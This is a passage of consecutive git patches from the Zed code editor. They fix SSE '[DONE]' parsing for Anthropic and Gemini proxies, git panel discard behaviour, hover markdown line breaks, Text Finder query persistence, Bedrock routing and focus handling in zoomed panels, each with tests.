+    let raw_value = serde_json::Value::deserialize(deserializer)
+        .map_err(|error| D::Error::custom(format!("invalid JSON: {error}")))?;
+
+    match T::deserialize(&raw_value) {
+        Ok(value) => Ok(value),
+        Err(original_error) => {
+            let Some(string) = raw_value.as_str() else {
+                return Err(to_custom_error(original_error));
+            };
+
+            serde_json::from_str(string).map_err(to_custom_error)
+        }
     }
 }
 
diff --git a/crates/agent/src/tools/edit_file_tool.rs b/crates/agent/src/tools/edit_file_tool.rs
index bca682c038c049..64f6af0a49c592 100644
--- a/crates/agent/src/tools/edit_file_tool.rs
+++ b/crates/agent/src/tools/edit_file_tool.rs
@@ -3061,6 +3061,19 @@ mod tests {
         assert!(input.edits.is_none());
     }
 
+    #[test]
+    fn test_wrong_edit_field_names_produce_actionable_error() {
+        let err = serde_json::from_value::<EditFileToolInput>(json!({
+            "path": "test.go",
+            "edits": [{"old_str": "hello", "new_text": "world"}]
+        }))
+        .unwrap_err();
+
+        // When the model uses incorrect field names, the error should
+        // tell it what to fix.
+        assert_eq!(err.to_string(), "missing field `old_text`");
+    }
+
     async fn setup_test_with_fs(
         cx: &mut TestAppContext,
         fs: Arc<project::FakeFs>,

From 28f47fa3a027d9533e326e03040db60a215c6015 Mon Sep 17 00:00:00 2001
From: Bobo <fancymore@126.com>
Date: Mon, 27 Jul 2026 20:07:31 +0800
Subject: [PATCH 716/772] Skip `[DONE]` stream terminator in `anthropic` and
 `google_ai` SSE parsers (#61627)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Problem

When `api_url` points to a proxy or gateway that appends `data: [DONE]`
to the SSE stream, every streaming completion fails with:

```
error deserializing Anthropic API response: expected value at line 1 column 2
```

In the UI this surfaces as **"error deserializing Anthropic API response
— Retrying (Attempt 3 of 3)"** followed by **"Connection Interrupted"**,
even though the proxy returned a well-formed stream and the model's full
response was already delivered before the terminator. The failure is
100% reproducible on multi-turn tool-use conversations (Zed reads the
stream to completion after each turn, so it always reaches the trailing
`[DONE]`) and intermittent on single-turn conversations (depending on
whether the connection closes before the line is read). The same class
of error appears in the `google_ai` crate as `Error parsing JSON: ...
"[DONE]"`.

Neither side is at fault here. Zed's current parser is a correct
implementation of the Anthropic and Gemini specs, which terminate
streams by connection close and never emit `[DONE]`; at the same time,
appending a `[DONE]` terminator is a common, legitimate convention among
SSE gateways. This PR is a compatibility improvement that makes Zed
robust to that widely-used stream shape, so streaming works whether or
not the upstream emits the terminator.

## Why Zed crashes but the Anthropic SDK does not

The Anthropic TypeScript and Python SDKs handle this correctly
**without** any explicit `[DONE]` check. Their SSE parser uses a
two-layer architecture:

1. **SSE framing layer** — parses `event:` / `data:` fields into
`{event, data}` objects without inspecting the data payload.
2. **Event dispatch layer** — only calls `JSON.parse` on events whose
`event` name is in a known whitelist (`message_start`,
`content_block_delta`, etc.). A bare `data:` line with no preceding
`event:` line yields `event: null`, which is not in the whitelist and is
silently ignored.

So when a proxy sends `data: [DONE]`, the SDK produces `{event: null,
data: "[DONE]"}`, the dispatch layer drops it, and `JSON.parse` is never
run on `[DONE]`. Claude Code and Cline both use the Anthropic SDK under
the hood, so they inherit this behavior and never crash on `[DONE]`.

Zed's `anthropic` and `google_ai` crates use a simpler single-layer
parser: strip the `data:` prefix, then unconditionally
`serde_json::from_str` the remainder. There is no event-name dispatch,
so `[DONE]` goes straight into the JSON parser — `[` looks like an array
start, `D` is not a valid value, serde reports `expected value at line 1
column 2`, and the stream dies.

## Fix

Add a one-line guard after prefix stripping: if the trimmed payload is
`[DONE]`, return `None` from the `filter_map` closure. This is a
lightweight equivalent of the SDK's whitelist-ignore behavior — same
result (silently skip the terminator), without restructuring the parser
into a full event-name dispatch architecture.

Two commits, one per crate:

1. `anthropic` — guard in `stream_completion_with_rate_limit_info`
2. `google_ai` — identical guard in `stream_generate_content`

## Scope

The other ten SSE-based providers in this repo (`open_ai`, `deepseek`,
`mistral`, `open_router`, `lmstudio`, `llama_cpp`, `copilot_chat`)
already handle `[DONE]` because their upstream specs (OpenAI-compatible)
define it as a required stream terminator. `ollama` (NDJSON) and
`bedrock` (AWS SDK event stream) do not use SSE. After this PR, every
SSE parser in Zed handles `[DONE]` without error.

## Safety

- Official Anthropic and Gemini APIs never send `[DONE]`; the guard is a
no-op on direct connections.
- `line.trim() == "[DONE]"` handles both `data: [DONE]` and
`data:[DONE]`.
- Returning `None` drops the line silently; the stream concludes on the
next EOF as usual.

Release Notes:

- Fixed streaming completions failing with "error deserializing
Anthropic API response" when the SSE endpoint appends a `[DONE]` stream
terminator (affects custom `api_url` proxies for Anthropic and Google
Gemini)
---
 crates/anthropic/src/anthropic.rs | 9 +++++++++
 crates/google_ai/src/google_ai.rs | 9 +++++++++
 2 files changed, 18 insertions(+)

diff --git a/crates/anthropic/src/anthropic.rs b/crates/anthropic/src/anthropic.rs
index c499e79e1271a4..cc33e4f06a130c 100644
--- a/crates/anthropic/src/anthropic.rs
+++ b/crates/anthropic/src/anthropic.rs
@@ -560,6 +560,15 @@ pub async fn stream_completion_with_rate_limit_info(
                             .strip_prefix("data: ")
                             .or_else(|| line.strip_prefix("data:"))?;
 
+                        // Some proxies and gateways append `data: [DONE]` as a
+                        // stream-termination sentinel (an OpenAI convention).
+                        // It is not part of the Anthropic streaming spec and is
+                        // not valid JSON, so skip it to avoid a spurious
+                        // deserialization error.
+                        if line.trim() == "[DONE]" {
+                            return None;
+                        }
+
                         match serde_json::from_str(line) {
                             Ok(response) => Some(Ok(response)),
                             Err(error) => Some(Err(AnthropicError::DeserializeResponse(error))),
diff --git a/crates/google_ai/src/google_ai.rs b/crates/google_ai/src/google_ai.rs
index 9cf4fdc494ab77..71c0d4e0318060 100644
--- a/crates/google_ai/src/google_ai.rs
+++ b/crates/google_ai/src/google_ai.rs
@@ -42,6 +42,15 @@ pub async fn stream_generate_content(
                 match line {
                     Ok(line) => {
                         if let Some(line) = line.strip_prefix("data: ") {
+                            // Some proxies and gateways append `data: [DONE]` as a
+                            // stream-termination sentinel (an OpenAI convention).
+                            // Google's streaming spec does not include this sentinel,
+                            // but we tolerate it here for the same reason as the
+                            // anthropic crate: proxies that inject it would otherwise
+                            // cause a spurious JSON deserialization error.
+                            if line.trim() == "[DONE]" {
+                                return None;
+                            }
                             match serde_json::from_str(line) {
                                 Ok(response) => Some(Ok(response)),
                                 Err(error) => Some(Err(anyhow!(format!(

From 11a8837bad6607496511a8b3ad942e352adcc215 Mon Sep 17 00:00:00 2001
From: Tai Nguyen <87302343+JoeJoeflyn@users.noreply.github.com>
Date: Mon, 27 Jul 2026 19:42:54 +0700
Subject: [PATCH 717/772] git_ui: Ensure discarding tracked changes respects
 staging state (#61608)

Closes #56020

Release Notes:

- Fixed Discard Tracked Changes discarding unstaged files

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/git_ui/src/git_panel.rs | 84 +++++++++++++++++++++++++++++++++-
 1 file changed, 83 insertions(+), 1 deletion(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 83ebe566f3c516..9f01b2271bf199 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -2263,7 +2263,9 @@ impl GitPanel {
     ) {
         let entries = self
             .change_entries_by_path()
-            .filter(|status_entry| !status_entry.status.is_created())
+            .filter(|status_entry| {
+                !status_entry.status.is_created() && status_entry.status.staging().has_staged()
+            })
             .cloned()
             .collect::<Vec<_>>();
 
@@ -12555,4 +12557,84 @@ mod tests {
             assert!(panel.commit_editor.focus_handle(cx).is_focused(window));
         });
     }
+
+    #[gpui::test]
+    async fn test_discard_tracked_changes_respects_staging(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            "/root",
+            json!({
+                "project": {
+                    ".git": {},
+                    "staged_a.rs": "staged a content\n",
+                    "staged_b.rs": "staged b content\n",
+                    "unstaged.rs": "unstaged content\n",
+                }
+            }),
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            Path::new(path!("/root/project/.git")),
+            &[
+                ("staged_a.rs", FileStatus::index(StatusCode::Modified)),
+                ("staged_b.rs", FileStatus::index(StatusCode::Modified)),
+                ("unstaged.rs", StatusCode::Modified.worktree()),
+            ],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/root/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+
+        cx.executor().run_until_parked();
+
+        let panel = workspace.update_in(cx, GitPanel::new);
+
+        let handle = cx.update_window_entity(&panel, |panel, _, _| {
+            std::mem::replace(&mut panel.update_visible_entries_task, Task::ready(()))
+        });
+        cx.executor().advance_clock(2 * UPDATE_DEBOUNCE);
+        handle.await;
+        cx.executor().run_until_parked();
+
+        panel.update_in(cx, |panel, window, cx| {
+            panel.restore_tracked_files(&RestoreTrackedFiles, window, cx);
+        });
+
+        let (message, detail) = cx
+            .pending_prompt()
+            .expect("discard tracked should show a confirmation prompt");
+        assert_eq!(message, "Discard changes to these files?");
+        assert!(
+            detail.contains("staged_a.rs"),
+            "prompt should list staged_a.rs, got: {detail}"
+        );
+        assert!(
+            detail.contains("staged_b.rs"),
+            "prompt should list staged_b.rs, got: {detail}"
+        );
+        assert!(
+            !detail.contains("unstaged.rs"),
+            "prompt should NOT list unstaged.rs, got: {detail}"
+        );
+    }
 }

From edd906859c88fbc8d128a2188e5ec7638aff2fd6 Mon Sep 17 00:00:00 2001
From: Tommy Han <tommyhonym@gmail.com>
Date: Mon, 27 Jul 2026 20:43:36 +0800
Subject: [PATCH 718/772] Revert force hardmark settings for documentation
 hover (#61622)

Closes https://github.com/zed-industries/zed/issues/60777

# Objective

- Due to #59426, forcing docString softmark to hardmark, an regression
has appeared. It causes all docString on different language to load
newLine (`\n`) by default, instead of soft wrap.
- By checking the issue, turns out we should not setting
`soft_break_as_hard_break: true`, this will make the hover docString
less
- Details can refer to #60777

## Solution

- Revert settings by removing the line in `hover_popover.rs:742`

## Testing

- About the testing result and comparsion, you can refer to #60777
- Updated test `test_hover_markdown_preserves_soft_breaks` to
`test_hover_markdown_soft_breaks_reflow_per_commonmark`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed an issue where hover documentation could have too many line
breaks.

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/editor/src/hover_popover.rs | 55 +++++++++++++++++-------------
 1 file changed, 32 insertions(+), 23 deletions(-)

diff --git a/crates/editor/src/hover_popover.rs b/crates/editor/src/hover_popover.rs
index ff4b8c4b8d055e..861016c6ffff9c 100644
--- a/crates/editor/src/hover_popover.rs
+++ b/crates/editor/src/hover_popover.rs
@@ -739,7 +739,6 @@ pub fn hover_markdown_style(window: &Window, cx: &App) -> MarkdownStyle {
             .mt(rems(1.))
             .mb_0(),
         table_columns_min_size: true,
-        soft_break_as_hard_break: true,
         ..Default::default()
     }
 }
@@ -1291,43 +1290,53 @@ mod tests {
     }
 
     #[gpui::test]
-    fn test_hover_markdown_preserves_soft_breaks(cx: &mut gpui::TestAppContext) {
+    fn test_hover_markdown_soft_breaks_reflow_per_commonmark(cx: &mut gpui::TestAppContext) {
         init_test(cx, |_| {});
 
         let cx = cx.add_empty_window();
-        let text = concat!(
-            "class super(object)\n",
-            "|  super(type) -> unbound super object\n",
-            "|  super(type, obj) -> bound super object"
+        // JSDoc / Rust doc comment / Go doc style: single newlines inside a
+        // paragraph. Per CommonMark §6.7 these are soft breaks and must render
+        // as spaces, producing one reflowing paragraph. See issue #60777.
+        let text = concat!("This is a test\n", "for tooltip\n", "reflow");
+        let markdown = cx.new(|cx| Markdown::new(text.into(), None, None, cx));
+        cx.run_until_parked();
+
+        let rendered = MarkdownElement::rendered_text(markdown, cx, hover_markdown_style);
+
+        // No hard line breaks should appear: the two soft breaks collapse to spaces.
+        assert_eq!(
+            rendered.matches('\n').count(),
+            0,
+            "expected no hard line breaks, got {rendered:?}"
         );
+        // The whole paragraph reflows onto a single line.
+        assert_eq!(rendered, "This is a test for tooltip reflow");
+    }
+
+    #[gpui::test]
+    fn test_hover_markdown_explicit_hard_breaks_preserved(cx: &mut gpui::TestAppContext) {
+        init_test(cx, |_| {});
+
+        let cx = cx.add_empty_window();
+        // The spec-correct way for an LSP server to request line preservation
+        // is to emit CommonMark hard breaks. PR #54165 also maps `<br>` tags to
+        // hard breaks. Both must continue to render as forced line breaks under
+        // the default hover style.
+        let text = "first line  \nsecond line\\\nthird line";
         let markdown = cx.new(|cx| Markdown::new(text.into(), None, None, cx));
         cx.run_until_parked();
 
         let rendered = MarkdownElement::rendered_text(markdown, cx, hover_markdown_style);
 
-        // The two soft breaks must render as real newline characters rather
-        // than being collapsed into spaces.
+        // Two explicit hard breaks (two trailing spaces, and a trailing `\`)
+        // must render as two newline characters.
         assert_eq!(
             rendered.matches('\n').count(),
             2,
             "expected two hard line breaks, got {rendered:?}"
         );
         let lines: Vec<&str> = rendered.split('\n').collect();
-        assert_eq!(
-            lines,
-            [
-                "class super(object)",
-                "|  super(type) -> unbound super object",
-                "|  super(type, obj) -> bound super object",
-            ]
-        );
-        // The two spaces after each `|` continuation marker are preserved verbatim.
-        assert!(lines[1].starts_with("|  super"));
-        assert!(lines[2].starts_with("|  super"));
-        // No tabs are introduced anywhere in the rendered output.
-        assert!(!rendered.contains('\t'));
-        // And the full rendering matches the source exactly.
-        assert_eq!(rendered, text);
+        assert_eq!(lines, ["first line", "second line", "third line"]);
     }
 
     impl InfoPopover {

From 09c5c2747443f646e2f33963295fd4b1ac797eaa Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Mon, 27 Jul 2026 13:59:33 +0100
Subject: [PATCH 719/772] search: Preserve cleared query when reopening the
 text finder (#61585)

## Context

Closes #61394

The Text Finder persists the last query per workspace (in the
`text_finder_queries` table) so it can seed itself on reopen.
Persistence happens in `TextFinder::on_before_dismiss`, but it was
guarded by `if !query.is_empty()`, so clearing the query and dismissing
never wrote anything. The stale non-empty query stayed in the database
and got restored on the next open, making it impossible to "clear and
keep it cleared."

This removes the guard so dismissal always persists the current query,
including an empty one. The read side already treats an empty stored
query as "nothing to restore" (`load_last_search` returns `None` for an
empty string), so an empty write cleanly clears the seed instead of
leaving the previous query behind.

Manual test below :

[Screencast from 2026-07-24
15-24-33.webm](https://github.com/user-attachments/assets/ba305f54-8ec2-4d3d-be0b-e2eb001bb204)


## How to Review

**`crates/search/src/text_finder.rs`**

`on_before_dismiss` no longer gates the write on a non-empty query. It
always calls `store_last_search` with the picker's current query and
options. `store_last_search` still early-returns for workspaces without
a `database_id`, so unpersisted workspaces are unaffected, and
`load_last_search` still maps an empty persisted query to `None`, so
`seed_query` won't resurrect it. The active-item selection still takes
priority over the persisted value on reopen, so seeding from a live
editor selection is unchanged.

The tests' shared `init_test` now installs a test `db::AppDatabase`
global. This is required because the new test is the first one to
actually reach `TextFinderDb::global(cx)`. The existing
`test_dismiss_from_within_workspace_update` leaves the workspace's
`database_id` as `None`, so it short-circuits before touching the DB.

`test_clearing_query_does_not_restore_previous_query` exercises the real
persistence path: it assigns a workspace `database_id`
(`set_random_database_id` + `flush_serialization`), opens the finder
with a query, dismisses, and asserts the query round-trips through
`seed_query`; then it reopens, clears the query via `set_query("")`,
dismisses, and asserts `seed_query` is now `None`. The positive
round-trip assertion keeps the negative case from passing vacuously.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed the project search / Text Finder restoring a previous query
after it had been cleared and dismissed
---
 crates/search/src/text_finder.rs | 81 ++++++++++++++++++++++++++++----
 1 file changed, 73 insertions(+), 8 deletions(-)

diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index d3c3e7b8ba66c2..fcea325c68f647 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -474,10 +474,8 @@ impl ModalView for TextFinder {
     ) -> DismissDecision {
         let picker = self.picker.read(cx);
         let query = picker.query(cx);
-        if !query.is_empty() {
-            let options = picker.delegate.search_options;
-            store_last_search(self.workspace_id, query, options, cx);
-        }
+        let options = picker.delegate.search_options;
+        store_last_search(self.workspace_id, query, options, cx);
         DismissDecision::Dismiss(true)
     }
 }
@@ -515,6 +513,7 @@ mod tests {
         cx.update(|cx| {
             let settings = SettingsStore::test(cx);
             cx.set_global(settings);
+            cx.set_global(db::AppDatabase::test_new());
 
             theme_settings::init(theme::LoadThemes::JustBase, cx);
 
@@ -543,10 +542,6 @@ mod tests {
             .unwrap();
         let cx = &mut VisualTestContext::from_window(window.into(), cx);
 
-        // Seed a query: the last-search persistence in `on_before_dismiss` (the
-        // code path that read the workspace entity) only runs when the query is
-        // non-empty, which is the common case in practice since the finder seeds
-        // the previous query on open.
         let seed_query = SearchSeed {
             query: "ONE".to_string(),
             options: None,
@@ -569,4 +564,74 @@ mod tests {
             assert!(workspace.active_modal::<TextFinder>(cx).is_none());
         });
     }
+
+    #[gpui::test]
+    async fn test_clearing_query_does_not_restore_previous_query(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(path!("/dir"), json!({"one.rs": "const ONE: usize = 1;"}))
+            .await;
+        let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+        let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = window
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window.into(), cx);
+
+        workspace.update(cx, |workspace, _cx| {
+            workspace.set_random_database_id();
+        });
+        let persistence_task = workspace.update_in(cx, |workspace, window, cx| {
+            workspace.flush_serialization(window, cx)
+        });
+        persistence_task.await;
+
+        let initial_query = "unique_search_query";
+        let seed_query = SearchSeed {
+            query: initial_query.to_string(),
+            options: None,
+        };
+        workspace
+            .update_in(cx, |_, window, cx| {
+                TextFinder::open(Some(seed_query), window, cx)
+            })
+            .await;
+        workspace.update_in(cx, |workspace, window, cx| {
+            assert!(workspace.hide_modal(window, cx));
+        });
+        cx.run_until_parked();
+
+        let seed_query = workspace.update_in(cx, |workspace, window, cx| {
+            TextFinder::seed_query(workspace, window, cx)
+        });
+        assert_eq!(
+            seed_query.as_ref().map(|seed| seed.query.as_str()),
+            Some(initial_query)
+        );
+        workspace
+            .update_in(cx, |_, window, cx| TextFinder::open(seed_query, window, cx))
+            .await;
+
+        let picker = workspace.update(cx, |workspace, cx| {
+            workspace
+                .active_modal::<TextFinder>(cx)
+                .expect("Text Finder should be open")
+                .read(cx)
+                .picker
+                .clone()
+        });
+        picker.update_in(cx, |picker, window, cx| {
+            picker.set_query("", window, cx);
+        });
+        workspace.update_in(cx, |workspace, window, cx| {
+            assert!(workspace.hide_modal(window, cx));
+        });
+        cx.run_until_parked();
+
+        let seed_query = workspace.update_in(cx, |workspace, window, cx| {
+            TextFinder::seed_query(workspace, window, cx)
+        });
+        assert!(seed_query.is_none());
+    }
 }

From c29ba6c212e233aa81455a10d2a898bfc5985393 Mon Sep 17 00:00:00 2001
From: Levin Rickert <me@levrik.io>
Date: Mon, 27 Jul 2026 15:44:25 +0200
Subject: [PATCH 720/772] git_panel: Use specific label and prompt for
 reverting deleted file (#61554)

# Objective

I expected a different label for reverting a file deletion like Zed
already has for reverting a file creation.

## Solution

This PR implements a new label and prompt. VS Code also shows a
different prompt while keeping the label static but I think it makes
more sense to let both adapt.

## Testing

Just deleted a file and checked menu label and prompt.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

<img width="363" height="139" alt="image"
src="https://github.com/user-attachments/assets/6be7e5b9-7250-449e-9cba-ea5a2099dd3a"
/>

<img width="349" height="240" alt="image"
src="https://github.com/user-attachments/assets/d87d5b4b-ff29-4976-8078-314c94a71896"
/>

---

Release Notes:

- Git Panel: Added specific label and prompt to context menu for
reverting a deleted file
---
 crates/git_ui/src/git_panel.rs | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 9f01b2271bf199..8b9a790a708214 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -2021,10 +2021,19 @@ impl GitPanel {
             let prompt = if skip_prompt {
                 Task::ready(Ok(0))
             } else {
+                let (message, confirm_text) = if entry.status.is_deleted() {
+                    ("Are you sure you want to restore ", "Restore File")
+                } else {
+                    (
+                        "Are you sure you want to discard changes to ",
+                        "Discard Changes",
+                    )
+                };
                 let prompt = window.prompt(
                     PromptLevel::Warning,
                     &format!(
-                        "Are you sure you want to discard changes to {}?",
+                        "{}{}?",
+                        message,
                         MarkdownInlineCode(
                             entry
                                 .repo_path
@@ -2033,7 +2042,7 @@ impl GitPanel {
                         ),
                     ),
                     None,
-                    &["Discard Changes", "Cancel"],
+                    &[confirm_text, "Cancel"],
                     cx,
                 );
                 cx.background_spawn(prompt)
@@ -7225,6 +7234,8 @@ impl GitPanel {
         };
         let restore_title = if entry.status.is_created() {
             "Trash File"
+        } else if entry.status.is_deleted() {
+            "Restore File"
         } else {
             "Discard Changes"
         };

From 9dcc3c29099724321c34797d18573d28a2c9df25 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Mon, 27 Jul 2026 11:59:19 -0400
Subject: [PATCH 721/772] Fix Bedrock effort and regional routing (#61597)

Fixes Amazon Bedrock adaptive-thinking requests so the selected effort
reaches Anthropic models, and routes Claude Opus 4.7 and 4.8 through
their documented Japanese and Canadian inference profiles.

Release Notes:

- Fixed Amazon Bedrock effort selection and regional routing for Claude
Opus 4.7 and 4.8.
---
 crates/bedrock/src/bedrock.rs | 23 ++++++++++++++++++++++-
 crates/bedrock/src/models.rs  | 32 +++++++++++++++++++++++++++-----
 2 files changed, 49 insertions(+), 6 deletions(-)

diff --git a/crates/bedrock/src/bedrock.rs b/crates/bedrock/src/bedrock.rs
index 19d210208e6536..9df36df46f02e6 100644
--- a/crates/bedrock/src/bedrock.rs
+++ b/crates/bedrock/src/bedrock.rs
@@ -221,7 +221,7 @@ fn thinking_request_fields(thinking: &Thinking) -> HashMap<String, Document> {
         Thinking::Enabled {
             budget_tokens: None,
         } => {}
-        Thinking::Adaptive { effort: _ } => {
+        Thinking::Adaptive { effort } => {
             fields.insert(
                 "thinking".to_string(),
                 Document::from(HashMap::from([
@@ -232,6 +232,13 @@ fn thinking_request_fields(thinking: &Thinking) -> HashMap<String, Document> {
                     ),
                 ])),
             );
+            fields.insert(
+                "output_config".to_string(),
+                Document::from(HashMap::from([(
+                    "effort".to_string(),
+                    Document::String(effort.as_str().to_string()),
+                )])),
+            );
         }
         Thinking::Disabled => {
             // On Claude Opus 5 omitting the `thinking` field means adaptive
@@ -306,6 +313,20 @@ mod tests {
         }
     }
 
+    #[test]
+    fn test_adaptive_thinking_serializes_effort_in_output_config() {
+        let fields = thinking_request_fields(&Thinking::Adaptive {
+            effort: BedrockAdaptiveThinkingEffort::XHigh,
+        });
+
+        let thinking = fields.get("thinking").expect("thinking field");
+        assert_eq!(string_field(thinking, "type"), Some("adaptive"));
+        assert_eq!(string_field(thinking, "display"), Some("summarized"));
+
+        let output_config = fields.get("output_config").expect("output_config field");
+        assert_eq!(string_field(output_config, "effort"), Some("xhigh"));
+    }
+
     #[test]
     fn test_disabled_thinking_serializes_opt_out_without_effort() {
         let fields = thinking_request_fields(&Thinking::Disabled);
diff --git a/crates/bedrock/src/models.rs b/crates/bedrock/src/models.rs
index eb5d40ac8fee75..75a3096986b2f6 100644
--- a/crates/bedrock/src/models.rs
+++ b/crates/bedrock/src/models.rs
@@ -788,10 +788,14 @@ impl ConverseModel {
 
             // Canada has no Claude-specific `ca.` profiles. AWS instead lists
             // ca-central-1 and ca-west-1 as source regions of the US geo
-            // profile for these models, which keeps data within US and Canada
-            // regions. See the per-model cards, e.g.
-            // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-5.html>.
-            (Self::ClaudeOpus5, "ca") => Ok(format!("us.{}", model_id)),
+            // profiles for these models, which keep data within US and Canada
+            // regions:
+            // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-5.html>
+            // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-4-8.html>
+            // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-4-7.html>
+            (Self::ClaudeOpus5 | Self::ClaudeOpus4_8 | Self::ClaudeOpus4_7, "ca") => {
+                Ok(format!("us.{}", model_id))
+            }
 
             // EU region inference profiles
             (
@@ -826,7 +830,9 @@ impl ConverseModel {
             // (plus `global.`):
             // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-5.html>
             (
-                Self::ClaudeSonnet4_6
+                Self::ClaudeOpus4_8
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeSonnet4_6
                 | Self::ClaudeSonnet4_5
                 | Self::ClaudeHaiku4_5
                 | Self::Nova2Lite,
@@ -1242,6 +1248,14 @@ mod tests {
             ConverseModel::ClaudeOpus5.cross_region_inference_id("ap-northeast-1", false)?,
             "anthropic.claude-opus-5"
         );
+        assert_eq!(
+            ConverseModel::ClaudeOpus4_8.cross_region_inference_id("ap-northeast-1", false)?,
+            "jp.anthropic.claude-opus-4-8"
+        );
+        assert_eq!(
+            ConverseModel::ClaudeOpus4_7.cross_region_inference_id("ap-northeast-3", false)?,
+            "jp.anthropic.claude-opus-4-7"
+        );
         assert_eq!(
             ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("ap-northeast-3", false)?,
             "jp.anthropic.claude-sonnet-4-5-20250929-v1:0"
@@ -1265,6 +1279,14 @@ mod tests {
             ConverseModel::ClaudeOpus5.cross_region_inference_id("ca-central-1", false)?,
             "us.anthropic.claude-opus-5"
         );
+        assert_eq!(
+            ConverseModel::ClaudeOpus4_8.cross_region_inference_id("ca-west-1", false)?,
+            "us.anthropic.claude-opus-4-8"
+        );
+        assert_eq!(
+            ConverseModel::ClaudeOpus4_7.cross_region_inference_id("ca-central-1", false)?,
+            "us.anthropic.claude-opus-4-7"
+        );
         Ok(())
     }
 

From 94c6647995181ea5e5f4888b4dda2f6d078e78b5 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Mon, 27 Jul 2026 12:11:33 -0500
Subject: [PATCH 722/772] Fix zoomed panels closing when focus moves within the
 panel (#59439)

Closes FR-139

Most focus-lost issues that close the agent panel in Zen mode stem from
panels returning a transient child editor's focus handle from
`Focusable::focus_handle`. The Zen-mode check closes the zoomed panel
when the focused element is not a descendant of the panel's focus
handle, so any focus movement inside the panel that landed outside that
child editor looked like the panel losing focus.

This PR separates the two roles that handle was serving:

- `Focusable::focus_handle` now always returns a stable handle tracked
at the panel's root element, used for containment checks (Zen-mode
auto-close, `toggle_panel_focus`, dock focus subscriptions).
- The new `Panel::activation_focus_handle` returns what should receive
focus when the panel is activated (e.g. a filter/commit/message editor)
and must be a focus-tree descendant of the root handle. All "focus the
panel" callsites in workspace/dock now use it.

Migrated panels: `AgentPanel` (including thread views and the toolbar
title editor), `CollabPanel`, `GitPanel`, `OutlinePanel`, and
`TerminalPanel` (previously delegated to the active pane, so focus in a
non-active pane dropped containment). `CollabPanel` activation falls
back to the panel root when signed out or collaboration is disabled,
since the filter editor isn't rendered in those states. Also fixes
duplicate element ids for tool calls with multiple content blocks.

Tests: a regression test that clicks tool-call output and focuses the
thread title editor while zoomed (both previously closed Zen mode), and
a dock-level test asserting the activation handle receives focus on
panel activation while the panel root reports containment.

Release Notes:

- Fixed zoomed panels (e.g. the agent panel in Zen mode) closing
unexpectedly when focus moved to elements inside the panel, such as tool
call output or the thread title editor.
---
 crates/agent_ui/src/agent_panel.rs            | 154 ++++++++++++++++--
 crates/agent_ui/src/conversation_view.rs      |  10 +-
 .../src/conversation_view/thread_view.rs      |  22 ++-
 crates/collab_ui/src/collab_panel.rs          |  58 +++++--
 crates/git_ui/src/git_panel.rs                |  18 +-
 crates/git_ui/src/worktree_service.rs         |   2 +-
 crates/outline_panel/src/outline_panel.rs     |   8 +-
 crates/terminal_view/src/terminal_panel.rs    |  41 +++--
